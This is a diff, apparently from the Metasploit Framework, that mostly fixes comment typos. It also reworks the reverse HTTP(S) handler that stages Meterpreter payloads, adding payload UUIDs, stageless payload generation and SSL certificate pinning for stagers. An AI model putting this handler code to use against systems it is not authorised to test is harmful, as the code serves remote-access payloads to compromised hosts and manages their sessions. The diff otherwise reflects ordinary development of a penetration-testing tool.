# Retrieve the SERVICE_NAME option, generate a random
# one if not already set.
#
# @return service_name [String] the name of the service.
# @return [String] service_name the name of the service.
def service_name
@service_name ||= datastore['SERVICE_NAME']
@service_name ||= Rex::Text.rand_text_alpha(8)
@ -44,7 +44,7 @@ module Exploit::Remote::SMB::Client::Psexec
# Retrieve the SERVICE_DISPLAY_NAME option, generate a random
# one if not already set.
#
# @return service_display_name [String] the display name of the service.
# @return [String] the display name of the service.
def display_name
@display_name ||= datastore['SERVICE_DISPLAY_NAME']
@display_name ||= Rex::Text.rand_text_alpha(16)
@ -52,7 +52,7 @@ module Exploit::Remote::SMB::Client::Psexec
# Retrieve the SERVICE_DESCRIPTION option
#
# @return service_description [String] the service description.
# @return [String] the service description.
def service_description
@service_description ||= datastore['SERVICE_DESCRIPTION']
end

View File

@ -240,7 +240,7 @@ module Msf
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
end
# New connection handler, executed when there is a new conneciton.
# New connection handler, executed when there is a new connection.
#
# @param c [Socket] The client establishing the connection.
# @return [Hash] The hash with the client data initialized.

View File

@ -64,7 +64,7 @@ module Exploit::Remote::TincdExploitClient
#
# The main method that will be called that will call other methods to send first message
# and continously read from socket and ensures TCP disconnect at the end
# and continuously read from socket and ensures TCP disconnect at the end
#
def send_recv(packet_payload)
@packet_payload = packet_payload
@ -95,7 +95,7 @@ module Exploit::Remote::TincdExploitClient
#
# Reading of certificate files and parsing them, generation of random keys
# and intialization of OFB mode blowfish cipher
# and initialization of OFB mode blowfish cipher
#
def init_ciphers(server_file, client_file)
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
@ -315,7 +315,7 @@ module Exploit::Remote::TincdExploitClient
end
#
# Ack state to signalise challenge/response was successfull
# Ack state to signalize challenge/response was successful
#
def ack
vprint_status('Sending ack (signalise server that we accept challenge' +
@ -325,7 +325,7 @@ module Exploit::Remote::TincdExploitClient
end
#
# Sending a packet inside the VPN connection after successfull protocol setup
# Sending a packet inside the VPN connection after successful protocol setup
#
def send_packet
vprint_status('Protocol finished setup. Going to send packet.')

View File

@ -172,7 +172,7 @@ class Framework
attr_reader :datastore
#
# The framework instance's aux manager. The aux manager is responsible
# for collecting and catalogging all aux information that comes in from
# for collecting and cataloging all aux information that comes in from
# aux modules.
#
attr_reader :auxmgr

View File

@ -77,6 +77,9 @@ module Handler
# Initialize the pending_connections counter to 0
self.pending_connections = 0
# Initialize the sessions counter to 0
self.sessions = 0
# Create the waiter event with auto_reset set to false so that
# if a session is ever created, waiting on it returns immediately.
self.session_waiter_event = Rex::Sync::Event.new(false, false)
@ -195,6 +198,9 @@ protected
# and any relevant information
s.set_from_exploit(assoc_exploit)
# Pass along any associated payload uuid if specified
s.payload_uuid = opts[:payload_uuid] if opts[:payload_uuid]
# If the session is valid, register it with the framework and
# notify any waiters we may have.
if (s)
@ -234,10 +240,14 @@ protected
# Decrement the pending connections counter now that we've processed
# one session.
self.pending_connections -= 1
# Count the number of sessions we have registered
self.sessions += 1
end
attr_accessor :session_waiter_event # :nodoc:
attr_accessor :pending_connections # :nodoc:
attr_accessor :sessions # :nodoc:
end

View File

@ -6,7 +6,7 @@ module Handler
###
#
# This handler expects a interactive TTY on the supplied socket/io object
# This handler expects an interactive TTY on the supplied socket/io object
#
###
module FindTty

View File

@ -1,8 +1,11 @@
# -*- coding: binary -*-
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'msf/core/handler/reverse_http/uri_checksum'
require 'rex/payloads/meterpreter/patch'
require 'rex/payloads/meterpreter/uri_checksum'
require 'rex/post/meterpreter/packet'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
module Msf
module Handler
@ -15,7 +18,9 @@ module Handler
module ReverseHttp
include Msf::Handler
include Msf::Handler::ReverseHttp::UriChecksum
include Rex::Payloads::Meterpreter::UriChecksum
include Msf::Payload::Windows::VerifySsl
include Rex::Post::Meterpreter
#
# Returns the string representation of the handler type
@ -88,7 +93,7 @@ module ReverseHttp
def payload_uri(req)
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
callback_host = req.headers['Host']
elsif ipv6?
elsif Rex::Socket.is_ipv6?(datastore['LHOST'])
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
else
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
@ -160,7 +165,9 @@ module ReverseHttp
def stop_handler
if self.service
self.service.remove_resource("/")
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
if self.service.resources.empty? && self.sessions == 0
Rex::ServiceManager.stop_service(self.service)
end
end
end
@ -212,15 +219,41 @@ protected
#
def on_request(cli, req, obj)
resp = Rex::Proto::Http::Response.new
info = process_uri_resource(req.relative_resource)
uuid = info[:uuid] || Msf::Payload::UUID.new
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
# Configure the UUID architecture and payload if necessary
uuid.arch ||= obj.arch
uuid.platform ||= obj.platform
uri_match = process_uri_resource(req.relative_resource)
conn_id = nil
if info[:mode] && info[:mode] != :connect
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
end
self.pending_connections += 1
# Process the requested resource.
case uri_match
when /^\/INITPY/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
case info[:mode]
when :init_connect
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...")
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
# was generated on the fly. This means we form a new session for each.
sum = uri_checksum_lookup(:connect)
new_uri = generate_uri_uuid(sum, uuid) + '/'
# This bit is going to need to be validated by the Ruby/MSF masters as I
# am not sure that this is the best way to get a TLV packet out from this
# handler.
# Hurl a TLV back at the caller, and ignore the response
pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url')
pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri)
resp.body = pkt.to_r
when :init_python
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
url = payload_uri(req) + conn_id + '/'
blob = ""
@ -251,11 +284,11 @@ protected
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
self.pending_connections += 1
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
when :init_java
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
url = payload_uri(req) + conn_id + "/\x00"
blob = ""
@ -279,24 +312,27 @@ protected
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?
:ssl => ssl?,
:payload_uuid => uuid
})
when /^\/A?INITM?/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
when :init_native
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
url = payload_uri(req) + conn_id + "/\x00"
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream'
blob = obj.stage_payload
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
#
# Patch options into the payload
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => ssl?,
:url => url,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
@ -304,7 +340,7 @@ protected
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
:proxy_pass => datastore['PayloadProxyPass'])
resp.body = encode_stage(blob)
@ -316,14 +352,14 @@ protected
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
when /^\/CONN_.*\//
resp.body = ""
# Grab the checksummed version of CONN from the payload's request.
conn_id = req.relative_resource.gsub("/", "")
when :connect
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
resp.body = ""
conn_id = req.relative_resource
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
@ -333,13 +369,15 @@ protected
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
else
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
resp.code = 200
resp.message = "OK"
resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end
cli.send_response(resp) if (resp)

View File

@ -0,0 +1,73 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/uuid_options'
module Msf
##
#
# Helper functionality for handling of stageless http(s) payloads
#
##
module Handler::ReverseHttp::Stageless
include Msf::Payload::Windows::VerifySsl
include Msf::Payload::UUIDOptions
def initialize_stageless
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
], self.class)
end
def generate_stageless(opts={})
unless opts[:generator]
raise ArgumentError, "Stageless generation requires a generator argument"
end
if opts[:ssl].nil?
raise ArgumentError, "Stageless generation requires an ssl argument"
end
host = datastore['LHOST']
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
# Use the init_connect mode because we're stageless. This will force
# MSF to generate a new URI when the first request is made.
url << "#{generate_uri_uuid_mode(:init_connect)}/"
# invoke the given function to generate the architecture specific payload
opts[:generator].call(url) do |dll|
verify_cert_hash = nil
if opts[:ssl]
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
end
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
:url => url,
:ssl => opts[:ssl],
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'])
end
end
end
end

View File

@ -1,128 +0,0 @@
# -*- coding: binary -*-
module Msf
module Handler
module ReverseHttp
module UriChecksum
#
# Define 8-bit checksums for matching URLs
# These are based on charset frequency
#
URI_CHECKSUM_INITW = 92 # Windows
URI_CHECKSUM_INITP = 80 # Python
URI_CHECKSUM_INITJ = 88 # Java
URI_CHECKSUM_CONN = 98
#
# Precalculated checkums as fallback
#
URI_CHECKSUM_PRECALC = [
"Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp",
"cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt",
"E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby",
"tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563",
"0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg",
"U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E",
"KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2",
"1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ",
"HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg",
"J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1",
"k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5",
"bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I",
"YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ",
"KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC",
"CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ",
"2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5",
"Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi",
"iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP",
"eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA",
"oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL",
"dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS",
"BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t",
"7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG",
"kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM",
"aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg",
"zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"
]
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
# @param uri_match [String] The URI string to convert back to the original static value
# @return [String] The static URI value derived from the checksum
def process_uri_resource(uri_match)
# This allows 'random' strings to be used as markers for
# the INIT and CONN request types, based on a checksum
uri_strip, uri_conn = uri_match.split('_', 2)
uri_strip.sub!(/^\//, '')
uri_check = Rex::Text.checksum8(uri_strip)
# Match specific checksums and map them to static URIs
case uri_check
when URI_CHECKSUM_INITW
uri_match = "/INITM"
when URI_CHECKSUM_INITP
uri_match = "/INITPY"
when URI_CHECKSUM_INITJ
uri_match = "/INITJM"
when URI_CHECKSUM_CONN
uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
end
uri_match
end
# Create a URI that matches a given checksum
#
# @param sum [Fixnum] The checksum value you are trying to create a URI for
# @param len [Fixnum] An optional length value for the created URI
# @return [String] The URI string that checksums to the given value
def generate_uri_checksum(sum,len=nil)
return generate_uri_checksum_with_length(sum, len) if len
chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
32.times do
uri = Rex::Text.rand_text_alphanumeric(3)
chk.sort_by {rand}.each do |x|
return(uri + x) if Rex::Text.checksum8(uri + x) == sum
end
end
# Otherwise return one of the pre-calculated strings
return URI_CHECKSUM_PRECALC[sum]
end
# Create an arbitrary length URI that matches a given checksum
#
# @param sum [Fixnum] The checksum value you are trying to create a URI for
# @param len [Fixnum] The length of the created URI
# @return [String] The URI string that checksums to the given value
def generate_uri_checksum_with_length(sum, len)
# Lengths shorter than 4 bytes are unable to match all possible checksums
# Lengths of exactly 4 are relatively slow to find for high checksum values
# Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
raise ArgumentError, "Length must be 5 bytes or greater" if len < 5
# Funny enough, this was more efficient than calculating checksum offsets
if len < 40
loop do
uri = Rex::Text.rand_text_alphanumeric(len)
return uri if Rex::Text.checksum8(uri) == sum
end
end
# The rand_text_alphanumeric() method becomes a bottleneck at around 40 bytes
# Calculating a static prefix flattens out the average runtime for longer URIs
prefix = Rex::Text.rand_text_alphanumeric(len-20)
loop do
uri = prefix + Rex::Text.rand_text_alphanumeric(20)
return uri if Rex::Text.checksum8(uri) == sum
end
end
end
end
end
end

View File

@ -43,7 +43,8 @@ module ReverseHttps
register_advanced_options(
[
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
], Msf::Handler::ReverseHttps)
end

View File

@ -3,11 +3,13 @@ require 'msf/core'
module Msf
autoload :OptionContainer, 'msf/core/option_container'
###
#
# The module base class is responsible for providing the common interface
# that is used to interact with modules at the most basic levels, such as
# by inspecting a given module's attributes (name, dsecription, version,
# by inspecting a given module's attributes (name, description, version,
# authors, etc) and by managing the module's data store.
#
###
@ -57,6 +59,10 @@ class Module
# datastore, consumed by #replicant to allow clean override of MSF module methods.
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
# The set of keys in {#user_data} that make {#user_data_is_match?} return
# true
MATCH_KEYS = Set.new([ :match, :match_set, :run ])
# Make include public so we can runtime extend
public_class_method :include
@ -272,12 +278,31 @@ class Module
end
#
# Support fail_with for all module types, allow specific classes to override
# Raises a RuntimeError failure message. This is meant to be used for all non-exploits,
# and allows specific classes to override.
#
# @param reason [String] A reason about the failure.
# @param msg [String] (Optional) A message about the failure.
# @raise [RuntimeError]
# @return [void]
# @note If you are writing an exploit, you don't use this API. Instead, please refer to the
# API documentation from lib/msf/core/exploit.rb.
# @see Msf::Exploit#fail_with
# @example
# fail_with('No Access', 'Unable to login')
#
def fail_with(reason, msg=nil)
raise RuntimeError, "#{reason.to_s}: #{msg}"
end
# Whether {#user_data} contains everything necessary to make a
# `MetasploitDataModels::AutomaticExploitation::MatchResult`
#
# @return [bool]
def user_data_is_match?
user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS)
end
##
#
# Just some handy quick checks
@ -295,6 +320,7 @@ class Module
# The array of zero or more platforms.
#
attr_reader :platform
#
# The reference count for the module.
#
@ -315,6 +341,15 @@ class Module
#
attr_accessor :error
# An opaque bag of data to attach to a module. This is useful for attaching
# some piece of identifying info on to a module before calling
# {Msf::Simple::Exploit#exploit_simple} or
# {Msf::Simple::Auxiliary#run_simple} for correlating where modules came
# from.
#
# @see #user_data_is_match?
attr_accessor :user_data
protected
#

View File

@ -12,7 +12,7 @@ module Msf::Module::FullName
# @attribute refname
# The module's name that is assigned it it by the framework
# The module's name that is assigned to it by the framework
# or derived from the path that the module is loaded from.
attr_accessor :refname
@ -64,4 +64,4 @@ module Msf::Module::FullName
def shortname
self.class.shortname
end
end
end

View File

@ -10,7 +10,7 @@ require 'abbrev'
class Msf::Module::Platform
Rank = 0
# actually, having a argument of '' is what to do for wanting 'all'
# actually, having an argument of '' is what to do for wanting 'all'
Short = "all"
class << self
@ -18,7 +18,7 @@ class Msf::Module::Platform
end
#
# Returns the "real" name of the module instance, accouting for potentially
# Returns the "real" name of the module instance, accounting for potentially
# aliased class names.
#
def self.realname

View File

@ -2,7 +2,7 @@
# -*- coding: binary -*-
#
# This is a helper to a easy way to specify support platforms. It will take a
# This is a helper to an easy way to specify support platforms. It will take a
# list of strings or Msf::Module::Platform objects and build them into a list
# of Msf::Module::Platform objects. It also supports ranges based on relative
# ranks...

Some files were not shown because too many files have changed in this diff Show More